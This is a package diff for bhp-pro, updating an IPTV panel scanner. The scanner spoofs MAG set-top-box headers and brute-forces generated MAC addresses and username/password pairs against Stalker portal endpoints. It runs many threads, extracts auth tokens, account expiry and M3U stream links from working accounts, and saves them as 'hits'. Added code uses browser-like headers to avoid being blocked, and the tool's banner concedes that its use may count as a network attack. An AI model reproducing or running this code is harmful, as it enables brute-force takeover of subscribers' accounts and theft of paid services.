bhp-pro 1.1.8__py3-none-any.whl → 1.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {bhp_pro-1.1.8.dist-info → bhp_pro-1.2.0.dist-info}/METADATA +1 -1
- bhp_pro-1.2.0.dist-info/RECORD +6 -0
- bhp_pro.py +241 -80
- bhp_pro-1.1.8.dist-info/RECORD +0 -6
- {bhp_pro-1.1.8.dist-info → bhp_pro-1.2.0.dist-info}/WHEEL +0 -0
- {bhp_pro-1.1.8.dist-info → bhp_pro-1.2.0.dist-info}/entry_points.txt +0 -0
- {bhp_pro-1.1.8.dist-info → bhp_pro-1.2.0.dist-info}/top_level.txt +0 -0
|
@@ -0,0 +1,6 @@
|
|
|
1
|
+
bhp_pro.py,sha256=eaqv7k53aadg48O0PFOX-06iCpMo5--YaBCFnf0pMrg,704935
|
|
2
|
+
bhp_pro-1.2.0.dist-info/METADATA,sha256=d2n37KW5QGHhPzj94mRxIH6Esh1EL0_37ImDZpGinm8,600
|
|
3
|
+
bhp_pro-1.2.0.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
|
4
|
+
bhp_pro-1.2.0.dist-info/entry_points.txt,sha256=Yn3HpraGX3lXX4FPq3Gm-lHh3SwQA-5rtgPWNWMFXkw,41
|
|
5
|
+
bhp_pro-1.2.0.dist-info/top_level.txt,sha256=1xjbIaVM77UJz9Tsi1JjILgE0YDG7iLhY6KSMNEi9zM,8
|
|
6
|
+
bhp_pro-1.2.0.dist-info/RECORD,,
|
bhp_pro.py
CHANGED
|
@@ -14015,13 +14015,15 @@ def iptvscan():
|
|
|
14015
14015
|
import sys
|
|
14016
14016
|
import hashlib
|
|
14017
14017
|
import json
|
|
14018
|
+
import socket
|
|
14018
14019
|
from datetime import datetime
|
|
14019
|
-
from urllib.parse import quote
|
|
14020
|
+
from urllib.parse import quote, urlparse
|
|
14020
14021
|
|
|
14021
14022
|
# Disable SSL warnings
|
|
14022
14023
|
import urllib3
|
|
14023
14024
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
14024
14025
|
|
|
14026
|
+
generate_ascii_banner("iptv", "scanner")
|
|
14025
14027
|
class IPTVScanner:
|
|
14026
14028
|
def __init__(self):
|
|
14027
14029
|
self.session = requests.Session()
|
|
@@ -14035,31 +14037,65 @@ def iptvscan():
|
|
|
14035
14037
|
self.panel_queue = []
|
|
14036
14038
|
self.panel_threads = []
|
|
14037
14039
|
self.panel_lock = threading.Lock()
|
|
14038
|
-
self.max_panel_threads =
|
|
14039
|
-
self.scanned_lock = threading.Lock()
|
|
14040
|
-
self.current_panel = "None"
|
|
14041
|
-
self.valid_panels = []
|
|
14040
|
+
self.max_panel_threads = 20
|
|
14041
|
+
self.scanned_lock = threading.Lock()
|
|
14042
|
+
self.current_panel = "None"
|
|
14043
|
+
self.valid_panels = []
|
|
14044
|
+
|
|
14045
|
+
def is_server_reachable(self, hostname, port, timeout=3):
|
|
14046
|
+
"""Check if a server is reachable using socket connection"""
|
|
14047
|
+
try:
|
|
14048
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
14049
|
+
s.settimeout(timeout)
|
|
14050
|
+
result = s.connect_ex((hostname, port))
|
|
14051
|
+
s.close()
|
|
14052
|
+
return result == 0
|
|
14053
|
+
except:
|
|
14054
|
+
return False
|
|
14042
14055
|
|
|
14043
14056
|
# ---------------- URL Validation Function ---------------- #
|
|
14044
|
-
def validate_url(self, url, timeout=
|
|
14057
|
+
def validate_url(self, url, timeout=3):
|
|
14045
14058
|
"""
|
|
14046
|
-
Validate a URL by checking its HTTP status code
|
|
14059
|
+
Validate a URL by checking its HTTP status code with better headers and user agents
|
|
14047
14060
|
Returns: (is_valid, status_code, final_url)
|
|
14048
14061
|
"""
|
|
14049
14062
|
try:
|
|
14050
14063
|
if not url.startswith('http'):
|
|
14051
14064
|
url = 'http://' + url
|
|
14052
14065
|
|
|
14053
|
-
|
|
14066
|
+
# Use more realistic headers to avoid being blocked
|
|
14067
|
+
headers = {
|
|
14068
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
|
|
14069
|
+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
|
|
14070
|
+
'Accept-Language': 'en-US,en;q=0.5',
|
|
14071
|
+
'Connection': 'keep-alive',
|
|
14072
|
+
'Upgrade-Insecure-Requests': '1',
|
|
14073
|
+
}
|
|
14074
|
+
|
|
14075
|
+
# Try GET request with proper headers
|
|
14076
|
+
response = self.session.get(url, headers=headers, timeout=timeout, allow_redirects=True, stream=True)
|
|
14054
14077
|
status_code = response.status_code
|
|
14055
14078
|
|
|
14056
|
-
# Consider 200-
|
|
14057
|
-
if 200 <= status_code
|
|
14079
|
+
# Consider 200-499 as valid (some panels return 403 but are actually working)
|
|
14080
|
+
if 200 <= status_code < 500:
|
|
14058
14081
|
return True, status_code, response.url
|
|
14059
14082
|
else:
|
|
14060
14083
|
return False, status_code, response.url
|
|
14061
14084
|
|
|
14062
14085
|
except requests.exceptions.RequestException as e:
|
|
14086
|
+
# Try one more time with a different approach - just check if domain is reachable
|
|
14087
|
+
try:
|
|
14088
|
+
# Extract just the domain:port
|
|
14089
|
+
parsed = urlparse(url if url.startswith('http') else 'http://' + url)
|
|
14090
|
+
domain_port = f"{parsed.hostname}:{parsed.port}" if parsed.port else parsed.hostname
|
|
14091
|
+
|
|
14092
|
+
# Try connecting to the port directly
|
|
14093
|
+
port_num = parsed.port if parsed.port else 80
|
|
14094
|
+
if self.is_server_reachable(parsed.hostname, port_num, timeout):
|
|
14095
|
+
return True, "PortOpen", url
|
|
14096
|
+
except:
|
|
14097
|
+
pass
|
|
14098
|
+
|
|
14063
14099
|
return False, "Error", url
|
|
14064
14100
|
except Exception as e:
|
|
14065
14101
|
return False, "Exception", url
|
|
@@ -14078,10 +14114,12 @@ def iptvscan():
|
|
|
14078
14114
|
is_valid, status_code, final_url = self.validate_url(url)
|
|
14079
14115
|
|
|
14080
14116
|
if is_valid:
|
|
14081
|
-
|
|
14117
|
+
status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
|
|
14118
|
+
print(f"\033[92m[{i}] VALID: {url} → {status_display}\033[0m")
|
|
14082
14119
|
valid_urls.append(url)
|
|
14083
14120
|
else:
|
|
14084
|
-
|
|
14121
|
+
status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
|
|
14122
|
+
print(f"\033[91m[{i}] INVALID: {url} → {status_display}\033[0m")
|
|
14085
14123
|
invalid_urls.append((url, status_code))
|
|
14086
14124
|
|
|
14087
14125
|
# Show statistics
|
|
@@ -14092,7 +14130,18 @@ def iptvscan():
|
|
|
14092
14130
|
if invalid_urls:
|
|
14093
14131
|
print("\n\033[93mInvalid URLs (will be skipped):\033[0m")
|
|
14094
14132
|
for url, status in invalid_urls:
|
|
14095
|
-
|
|
14133
|
+
status_display = f"Status: {status}" if isinstance(status, int) else f"Status: {status}"
|
|
14134
|
+
print(f" {url} → {status_display}")
|
|
14135
|
+
|
|
14136
|
+
# Ask if user wants to include some invalid URLs that might still work
|
|
14137
|
+
include_invalid = "n"
|
|
14138
|
+
if include_invalid == "y":
|
|
14139
|
+
for url, status in invalid_urls:
|
|
14140
|
+
if status == 403 or status == "PortOpen": # 403 might still work, port is open
|
|
14141
|
+
include = "y"
|
|
14142
|
+
if include == "y":
|
|
14143
|
+
valid_urls.append(url)
|
|
14144
|
+
print(f"\033[93mAdded {url} to scan list\033[0m")
|
|
14096
14145
|
|
|
14097
14146
|
return valid_urls
|
|
14098
14147
|
|
|
@@ -14126,8 +14175,8 @@ def iptvscan():
|
|
|
14126
14175
|
|
|
14127
14176
|
# ---------------- Choose MAC mode ---------------- #
|
|
14128
14177
|
def choose_mac_mode(self):
|
|
14129
|
-
choice = input("Do you want to test a specific MAC or auto-generate? (
|
|
14130
|
-
if choice == '
|
|
14178
|
+
choice = input("Do you want to test a specific MAC or auto-generate? (specific/auto) [auto]: ").strip().lower() or "auto"
|
|
14179
|
+
if choice == 'specific':
|
|
14131
14180
|
specific_mac = input("Enter MAC to test: ").strip()
|
|
14132
14181
|
mac_case = input("MAC case (upper/lower) [upper]: ").strip().lower() or "upper"
|
|
14133
14182
|
return choice, specific_mac, mac_case, 1
|
|
@@ -14141,20 +14190,37 @@ def iptvscan():
|
|
|
14141
14190
|
return choice, None, 'upper', mac_count
|
|
14142
14191
|
|
|
14143
14192
|
# ---------------- Panel testing functions ---------------- #
|
|
14144
|
-
def test_panel(self, panel_url, mac, timeout=
|
|
14193
|
+
def test_panel(self, panel_url, mac, timeout=3):
|
|
14145
14194
|
try:
|
|
14146
|
-
original_panel = panel_url
|
|
14195
|
+
original_panel = panel_url
|
|
14147
14196
|
if not panel_url.startswith('http'):
|
|
14148
14197
|
panel_url = 'http://' + panel_url
|
|
14149
|
-
|
|
14198
|
+
|
|
14199
|
+
# Extract server and port
|
|
14200
|
+
parsed = urlparse(panel_url)
|
|
14201
|
+
server = parsed.hostname
|
|
14202
|
+
port = parsed.port if parsed.port else 80
|
|
14203
|
+
|
|
14204
|
+
# First check if server is reachable
|
|
14205
|
+
if not self.is_server_reachable(server, port, timeout=3):
|
|
14206
|
+
return {'success': False, 'error': 'Server not reachable'}
|
|
14207
|
+
|
|
14150
14208
|
tkk = self.generate_random_string(32)
|
|
14151
14209
|
|
|
14210
|
+
# Try different endpoint patterns
|
|
14152
14211
|
endpoints = [
|
|
14153
14212
|
f"http://{server}/server/load.php",
|
|
14154
14213
|
f"http://{server}/portal.php",
|
|
14155
|
-
f"http://{server}/c/portal.php"
|
|
14214
|
+
f"http://{server}/c/portal.php",
|
|
14215
|
+
f"http://{server}/panel/portal.php",
|
|
14216
|
+
f"http://{server}/stalker_portal/server/load.php",
|
|
14217
|
+
f"http://{server}/stalker_portal/c/portal.php"
|
|
14156
14218
|
]
|
|
14157
14219
|
|
|
14220
|
+
# Add the original URL as a potential endpoint
|
|
14221
|
+
if panel_url not in endpoints:
|
|
14222
|
+
endpoints.insert(0, panel_url)
|
|
14223
|
+
|
|
14158
14224
|
headers = {
|
|
14159
14225
|
'User-Agent': 'Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 4 rev: 1812 Mobile Safari/533.3',
|
|
14160
14226
|
'X-User-Agent': 'Model: MAG250; Link: WiFi',
|
|
@@ -14168,16 +14234,37 @@ def iptvscan():
|
|
|
14168
14234
|
|
|
14169
14235
|
auth_token = None
|
|
14170
14236
|
working_endpoint = None
|
|
14237
|
+
|
|
14171
14238
|
for endpoint in endpoints:
|
|
14172
14239
|
try:
|
|
14173
|
-
|
|
14174
|
-
|
|
14175
|
-
|
|
14176
|
-
|
|
14177
|
-
|
|
14178
|
-
|
|
14179
|
-
|
|
14180
|
-
|
|
14240
|
+
# Try different parameter formats
|
|
14241
|
+
handshake_urls = [
|
|
14242
|
+
f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml",
|
|
14243
|
+
f"{endpoint}?type=stb&action=handshake&JsHttpRequest=1-xml",
|
|
14244
|
+
f"{endpoint}?action=handshake&type=stb&token={tkk}"
|
|
14245
|
+
]
|
|
14246
|
+
|
|
14247
|
+
for handshake_url in handshake_urls:
|
|
14248
|
+
try:
|
|
14249
|
+
response = self.session.get(handshake_url, headers=headers, timeout=timeout)
|
|
14250
|
+
if response.status_code == 200 and ('"token":"' in response.text or 'token' in response.text):
|
|
14251
|
+
# Try different patterns to extract token
|
|
14252
|
+
token_match = re.search(r'"token":"([^"]+)"', response.text)
|
|
14253
|
+
if not token_match:
|
|
14254
|
+
token_match = re.search(r'"token":\s*"([^"]+)"', response.text)
|
|
14255
|
+
if not token_match:
|
|
14256
|
+
token_match = re.search(r'token["\']?\s*[:=]\s*["\']([^"\']+)', response.text)
|
|
14257
|
+
|
|
14258
|
+
if token_match:
|
|
14259
|
+
auth_token = token_match.group(1)
|
|
14260
|
+
working_endpoint = endpoint
|
|
14261
|
+
break
|
|
14262
|
+
except:
|
|
14263
|
+
continue
|
|
14264
|
+
|
|
14265
|
+
if auth_token:
|
|
14266
|
+
break
|
|
14267
|
+
|
|
14181
14268
|
except:
|
|
14182
14269
|
continue
|
|
14183
14270
|
|
|
@@ -14186,23 +14273,73 @@ def iptvscan():
|
|
|
14186
14273
|
|
|
14187
14274
|
headers['Authorization'] = f'Bearer {auth_token}'
|
|
14188
14275
|
|
|
14189
|
-
|
|
14190
|
-
|
|
14191
|
-
|
|
14276
|
+
# Try different profile URL patterns
|
|
14277
|
+
profile_urls = [
|
|
14278
|
+
f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml",
|
|
14279
|
+
f"{working_endpoint}?action=get_profile&type=stb&JsHttpRequest=1-xml"
|
|
14280
|
+
]
|
|
14281
|
+
|
|
14282
|
+
profile_response = None
|
|
14283
|
+
for profile_url in profile_urls:
|
|
14284
|
+
try:
|
|
14285
|
+
profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
|
|
14286
|
+
if profile_response.status_code == 200:
|
|
14287
|
+
break
|
|
14288
|
+
except:
|
|
14289
|
+
continue
|
|
14290
|
+
|
|
14291
|
+
if not profile_response or profile_response.status_code != 200:
|
|
14192
14292
|
return {'success': False, 'error': 'Profile request failed'}
|
|
14193
14293
|
|
|
14194
|
-
|
|
14195
|
-
|
|
14196
|
-
|
|
14294
|
+
# Try different account info URL patterns
|
|
14295
|
+
account_urls = [
|
|
14296
|
+
f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml",
|
|
14297
|
+
f"{working_endpoint}?action=get_main_info&type=account_info&JsHttpRequest=1-xml"
|
|
14298
|
+
]
|
|
14299
|
+
|
|
14300
|
+
account_response = None
|
|
14301
|
+
for account_url in account_urls:
|
|
14302
|
+
try:
|
|
14303
|
+
account_response = self.session.get(account_url, headers=headers, timeout=timeout)
|
|
14304
|
+
if account_response.status_code == 200:
|
|
14305
|
+
break
|
|
14306
|
+
except:
|
|
14307
|
+
continue
|
|
14308
|
+
|
|
14309
|
+
if not account_response or account_response.status_code != 200:
|
|
14197
14310
|
return {'success': False, 'error': 'Account info request failed'}
|
|
14198
14311
|
|
|
14199
14312
|
account_text = account_response.text
|
|
14200
14313
|
exp_match = re.search(r'"phone":"([^"]+)"', account_text) or re.search(r'"end_date":"([^"]+)"', account_text)
|
|
14201
14314
|
exp_date = exp_match.group(1) if exp_match else "Unknown"
|
|
14202
14315
|
|
|
14203
|
-
|
|
14204
|
-
|
|
14205
|
-
|
|
14316
|
+
# Try different channels URL patterns
|
|
14317
|
+
channels_urls = [
|
|
14318
|
+
f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml",
|
|
14319
|
+
f"{working_endpoint}?action=get_all_channels&type=itv&JsHttpRequest=1-xml"
|
|
14320
|
+
]
|
|
14321
|
+
|
|
14322
|
+
channels_response = None
|
|
14323
|
+
for channels_url in channels_urls:
|
|
14324
|
+
try:
|
|
14325
|
+
channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
|
|
14326
|
+
if channels_response.status_code == 200:
|
|
14327
|
+
break
|
|
14328
|
+
except:
|
|
14329
|
+
continue
|
|
14330
|
+
|
|
14331
|
+
channel_count = 0
|
|
14332
|
+
if channels_response and channels_response.status_code == 200:
|
|
14333
|
+
# Try different patterns to count channels
|
|
14334
|
+
channel_count = len(re.findall(r'"ch_id":"', channels_response.text))
|
|
14335
|
+
if channel_count == 0:
|
|
14336
|
+
channel_count = len(re.findall(r'"id":', channels_response.text))
|
|
14337
|
+
if channel_count == 0:
|
|
14338
|
+
channel_count = len(re.findall(r'"name":', channels_response.text))
|
|
14339
|
+
|
|
14340
|
+
# Check if channels are 0 - if so, don't consider it a hit
|
|
14341
|
+
if channel_count == 0:
|
|
14342
|
+
return {'success': False, 'error': 'No channels found'}
|
|
14206
14343
|
|
|
14207
14344
|
link_url = f"{working_endpoint}?type=itv&action=create_link&forced_storage=undefined&download=0&cmd=ffmpeg%20http%3A%2F%2Flocalhost%2Fch%2F181212_&JsHttpRequest=1-xml"
|
|
14208
14345
|
link_response = self.session.get(link_url, headers=headers, timeout=timeout)
|
|
@@ -14221,7 +14358,7 @@ def iptvscan():
|
|
|
14221
14358
|
|
|
14222
14359
|
m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
|
|
14223
14360
|
try:
|
|
14224
|
-
m3u_response = self.session.get(m3u_url, headers=headers, timeout=
|
|
14361
|
+
m3u_response = self.session.get(m3u_url, headers=headers, timeout=3)
|
|
14225
14362
|
m3u_status = "Working" if m3u_response.status_code == 200 else "Not Working"
|
|
14226
14363
|
except:
|
|
14227
14364
|
m3u_status = "Error"
|
|
@@ -14246,7 +14383,7 @@ def iptvscan():
|
|
|
14246
14383
|
'success': True,
|
|
14247
14384
|
'mac': mac,
|
|
14248
14385
|
'panel': server,
|
|
14249
|
-
'original_panel': original_panel,
|
|
14386
|
+
'original_panel': original_panel,
|
|
14250
14387
|
'endpoint': working_endpoint,
|
|
14251
14388
|
'exp_date': exp_date,
|
|
14252
14389
|
'channels': channel_count,
|
|
@@ -14264,42 +14401,66 @@ def iptvscan():
|
|
|
14264
14401
|
except Exception as e:
|
|
14265
14402
|
return {'success': False, 'error': str(e)}
|
|
14266
14403
|
|
|
14267
|
-
def test_m3u_credentials(self, panel_url, username, password, timeout=
|
|
14404
|
+
def test_m3u_credentials(self, panel_url, username, password, timeout=3):
|
|
14268
14405
|
try:
|
|
14269
|
-
original_panel = panel_url
|
|
14406
|
+
original_panel = panel_url
|
|
14270
14407
|
if not panel_url.startswith('http'):
|
|
14271
14408
|
panel_url = 'http://' + panel_url
|
|
14272
14409
|
server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
|
|
14273
14410
|
|
|
14274
14411
|
headers = {
|
|
14275
|
-
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
|
|
14412
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
|
|
14276
14413
|
'Accept': '*/*',
|
|
14277
14414
|
'Connection': 'close',
|
|
14278
14415
|
'Host': server
|
|
14279
14416
|
}
|
|
14280
14417
|
|
|
14281
|
-
|
|
14282
|
-
|
|
14283
|
-
|
|
14284
|
-
|
|
14418
|
+
# Try different M3U URL patterns
|
|
14419
|
+
m3u_urls = [
|
|
14420
|
+
f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus",
|
|
14421
|
+
f"http://{server}/get.php?username={username}&password={password}&type=m3u",
|
|
14422
|
+
f"http://{server}/panel_api.php?username={username}&password={password}&action=get_live_streams",
|
|
14423
|
+
f"http://{server}/player_api.php?username={username}&password={password}&action=get_live_streams"
|
|
14424
|
+
]
|
|
14425
|
+
|
|
14426
|
+
ok = False
|
|
14427
|
+
m3u_url = m3u_urls[0]
|
|
14428
|
+
body = ''
|
|
14429
|
+
status_code = 0
|
|
14430
|
+
|
|
14431
|
+
for test_url in m3u_urls:
|
|
14432
|
+
try:
|
|
14433
|
+
resp = self.session.get(test_url, headers=headers, timeout=timeout)
|
|
14434
|
+
status_code = resp.status_code
|
|
14435
|
+
body = resp.text if resp else ''
|
|
14436
|
+
|
|
14437
|
+
# Check for various success indicators
|
|
14438
|
+
if (resp.status_code == 200 and
|
|
14439
|
+
('#EXTM3U' in body or 'http://' in body or '.m3u8' in body or
|
|
14440
|
+
len(body) > 100 or 'channel' in body.lower() or 'stream' in body.lower())):
|
|
14441
|
+
ok = True
|
|
14442
|
+
m3u_url = test_url
|
|
14443
|
+
break
|
|
14444
|
+
except:
|
|
14445
|
+
continue
|
|
14285
14446
|
|
|
14286
14447
|
# Test EPG URL
|
|
14287
14448
|
epg_url = f"http://{server}/xmltv.php?username={username}&password={password}"
|
|
14288
14449
|
try:
|
|
14289
|
-
epg_resp = self.session.get(epg_url, headers=headers, timeout=
|
|
14450
|
+
epg_resp = self.session.get(epg_url, headers=headers, timeout=3)
|
|
14290
14451
|
epg_status = "Working" if epg_resp.status_code == 200 and 'xml' in epg_resp.text.lower() else "Not Working"
|
|
14291
14452
|
except:
|
|
14292
14453
|
epg_status = "Error"
|
|
14293
14454
|
|
|
14294
14455
|
return {
|
|
14295
14456
|
'success': ok,
|
|
14296
|
-
'status_code':
|
|
14457
|
+
'status_code': status_code,
|
|
14297
14458
|
'm3u_url': m3u_url,
|
|
14298
14459
|
'epg_url': epg_url,
|
|
14299
14460
|
'epg_status': epg_status,
|
|
14300
14461
|
'username': username,
|
|
14301
14462
|
'password': password,
|
|
14302
|
-
'original_panel': original_panel,
|
|
14463
|
+
'original_panel': original_panel,
|
|
14303
14464
|
'body_snippet': body[:200] if body else ''
|
|
14304
14465
|
}
|
|
14305
14466
|
|
|
@@ -14324,7 +14485,7 @@ def iptvscan():
|
|
|
14324
14485
|
f.write(f"Mode: {mode}\n")
|
|
14325
14486
|
if mode == 'mac':
|
|
14326
14487
|
f.write(f"MAC: {result.get('mac')}\n")
|
|
14327
|
-
f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
|
|
14488
|
+
f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
|
|
14328
14489
|
if 'endpoint' in result:
|
|
14329
14490
|
f.write(f"Endpoint: {result.get('endpoint')}\n")
|
|
14330
14491
|
if 'exp_date' in result:
|
|
@@ -14365,19 +14526,16 @@ def iptvscan():
|
|
|
14365
14526
|
def worker(self, panel_url, mode='mac', mac_case='upper', prefix_index=0, creds_min=5, creds_max=15, mac_count=0):
|
|
14366
14527
|
self.active_threads += 1
|
|
14367
14528
|
try:
|
|
14368
|
-
# Set the current panel for display
|
|
14369
14529
|
self.current_panel = panel_url
|
|
14370
14530
|
|
|
14371
14531
|
while self.running:
|
|
14372
|
-
# Check global count first
|
|
14373
14532
|
if mac_count > 0 and self.scanned_count >= mac_count:
|
|
14374
14533
|
break
|
|
14375
14534
|
|
|
14376
14535
|
if mode == 'mac':
|
|
14377
14536
|
mac = self.generate_mac(prefix_index, mac_case)
|
|
14378
|
-
result = self.test_panel(panel_url, mac, timeout=
|
|
14537
|
+
result = self.test_panel(panel_url, mac, timeout=3)
|
|
14379
14538
|
|
|
14380
|
-
# Thread-safe counter update
|
|
14381
14539
|
with self.scanned_lock:
|
|
14382
14540
|
self.scanned_count += 1
|
|
14383
14541
|
current_count = self.scanned_count
|
|
@@ -14387,8 +14545,9 @@ def iptvscan():
|
|
|
14387
14545
|
print(f" Exp: {result.get('exp_date')} | Channels: {result.get('channels')} | M3U: {result.get('m3u_status')}")
|
|
14388
14546
|
self.save_hit(result, mode='mac')
|
|
14389
14547
|
|
|
14548
|
+
# Update status display
|
|
14549
|
+
sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
|
|
14390
14550
|
else:
|
|
14391
|
-
# Credentials mode
|
|
14392
14551
|
if mac_count > 0 and self.scanned_count >= mac_count:
|
|
14393
14552
|
break
|
|
14394
14553
|
|
|
@@ -14407,25 +14566,21 @@ def iptvscan():
|
|
|
14407
14566
|
print(f" M3U URL: {result.get('m3u_url')}")
|
|
14408
14567
|
self.save_hit(result, mode='creds')
|
|
14409
14568
|
|
|
14410
|
-
|
|
14411
|
-
|
|
14412
|
-
|
|
14413
|
-
sys.stdout.flush()
|
|
14414
|
-
|
|
14415
|
-
# Check if we've reached the limit
|
|
14569
|
+
# Update status display
|
|
14570
|
+
sys.stdout.write(f"\rScanned: {self.scanned_count} | Creds: {username}:{password} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
|
|
14571
|
+
|
|
14416
14572
|
if mac_count > 0 and self.scanned_count >= mac_count:
|
|
14417
14573
|
break
|
|
14418
14574
|
|
|
14419
14575
|
time.sleep(0.1)
|
|
14420
14576
|
finally:
|
|
14421
14577
|
self.active_threads -= 1
|
|
14422
|
-
self.current_panel = "None"
|
|
14578
|
+
self.current_panel = "None"
|
|
14423
14579
|
|
|
14424
14580
|
# ---------------- Panel thread runner ---------------- #
|
|
14425
14581
|
def panel_runner(self, panel_url, mode, mac_case, prefix_index, creds_min, creds_max, mac_count):
|
|
14426
|
-
# Adjust thread count based on requested MAC count
|
|
14427
14582
|
if mac_count > 0:
|
|
14428
|
-
thread_count = min(
|
|
14583
|
+
thread_count = min(20, max(1, mac_count // 10))
|
|
14429
14584
|
else:
|
|
14430
14585
|
thread_count = 100
|
|
14431
14586
|
|
|
@@ -14437,18 +14592,15 @@ def iptvscan():
|
|
|
14437
14592
|
threads.append(t)
|
|
14438
14593
|
|
|
14439
14594
|
try:
|
|
14440
|
-
# Properly wait for all threads to finish
|
|
14441
14595
|
for t in threads:
|
|
14442
|
-
t.join()
|
|
14596
|
+
t.join()
|
|
14443
14597
|
except KeyboardInterrupt:
|
|
14444
14598
|
self.running = False
|
|
14445
14599
|
for t in threads:
|
|
14446
14600
|
t.join(timeout=1)
|
|
14447
14601
|
|
|
14448
|
-
|
|
14449
14602
|
# ---------------- Main scanner function ---------------- #
|
|
14450
14603
|
def run_scanner(self):
|
|
14451
|
-
"""Main scanner function that handles the scanning process"""
|
|
14452
14604
|
print("\033[95m" + "="*60)
|
|
14453
14605
|
print(" IPTV PANEL SCANNER")
|
|
14454
14606
|
print("="*60 + "\033[0m")
|
|
@@ -14477,8 +14629,7 @@ def iptvscan():
|
|
|
14477
14629
|
if not valid_panels:
|
|
14478
14630
|
print("\n\033[91mNo valid URLs to scan. Exiting.\033[0m")
|
|
14479
14631
|
return
|
|
14480
|
-
|
|
14481
|
-
# Ask if user wants to continue with only valid URLs
|
|
14632
|
+
|
|
14482
14633
|
continue_scan = "y"
|
|
14483
14634
|
if continue_scan != "y":
|
|
14484
14635
|
print("Scan cancelled.")
|
|
@@ -14488,8 +14639,18 @@ def iptvscan():
|
|
|
14488
14639
|
|
|
14489
14640
|
# MAC choice / count
|
|
14490
14641
|
mac_choice, specific_mac, mac_case, mac_count = ('auto', None, 'upper', 0)
|
|
14642
|
+
creds_count = 0 # Add this variable for credentials count
|
|
14643
|
+
|
|
14491
14644
|
if mode == 'mac':
|
|
14492
14645
|
mac_choice, specific_mac, mac_case, mac_count = self.choose_mac_mode()
|
|
14646
|
+
else:
|
|
14647
|
+
# Add prompt for number of credentials to generate
|
|
14648
|
+
creds_count_input = input("Enter how many credentials to generate/test: ").strip() or "100"
|
|
14649
|
+
try:
|
|
14650
|
+
creds_count = int(creds_count_input)
|
|
14651
|
+
except ValueError:
|
|
14652
|
+
print(f"Invalid number '{creds_count_input}', using default 100")
|
|
14653
|
+
creds_count = 100
|
|
14493
14654
|
|
|
14494
14655
|
creds_min = 5
|
|
14495
14656
|
creds_max = 15
|
|
@@ -14515,27 +14676,26 @@ def iptvscan():
|
|
|
14515
14676
|
self.scanned_count = 0
|
|
14516
14677
|
self.found_hits = 0
|
|
14517
14678
|
|
|
14518
|
-
# Run the panel scanner
|
|
14519
|
-
|
|
14679
|
+
# Run the panel scanner - pass creds_count for creds mode
|
|
14680
|
+
if mode == 'mac':
|
|
14681
|
+
self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
|
|
14682
|
+
else:
|
|
14683
|
+
self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, creds_count)
|
|
14520
14684
|
|
|
14521
14685
|
# Display results for this panel
|
|
14522
14686
|
print(f"\nPanel {panel} completed: Scanned {self.scanned_count}, Hits {self.found_hits}")
|
|
14523
14687
|
|
|
14524
14688
|
print(f"\nAll panels processed! Total hits found: {self.found_hits}")
|
|
14525
14689
|
|
|
14526
|
-
def
|
|
14527
|
-
"""Main function that handles the application flow"""
|
|
14690
|
+
def main00001():
|
|
14528
14691
|
try:
|
|
14529
|
-
# Create scanner instance
|
|
14530
14692
|
scanner = IPTVScanner()
|
|
14531
|
-
|
|
14532
|
-
# Run the scanner
|
|
14533
14693
|
scanner.run_scanner()
|
|
14534
14694
|
|
|
14535
14695
|
except KeyboardInterrupt:
|
|
14536
14696
|
print("\n\nScan interrupted by user. Exiting gracefully...")
|
|
14537
14697
|
scanner.running = False
|
|
14538
|
-
time.sleep(1)
|
|
14698
|
+
time.sleep(1)
|
|
14539
14699
|
|
|
14540
14700
|
except Exception as e:
|
|
14541
14701
|
print(f"\nAn unexpected error occurred: {e}")
|
|
@@ -14545,8 +14705,9 @@ def iptvscan():
|
|
|
14545
14705
|
print("\nThank you for using IPTV Panel Scanner!")
|
|
14546
14706
|
print("Results are saved in the 'hits' folder.")
|
|
14547
14707
|
|
|
14548
|
-
|
|
14549
|
-
|
|
14708
|
+
|
|
14709
|
+
main00001()
|
|
14710
|
+
|
|
14550
14711
|
def ipcam():
|
|
14551
14712
|
import requests
|
|
14552
14713
|
import re
|
|
@@ -16065,7 +16226,7 @@ def banner():
|
|
|
16065
16226
|
MAGENTA + "██╔═══╝ ██╔══██╗██║ ██║" + LIME + "user should understand that useage of this script may be" + ENDC,
|
|
16066
16227
|
MAGENTA + "██║ ██║ ██║╚██████╔╝" + LIME + "concidered an attack on a data network, and may violate terms" + ENDC,
|
|
16067
16228
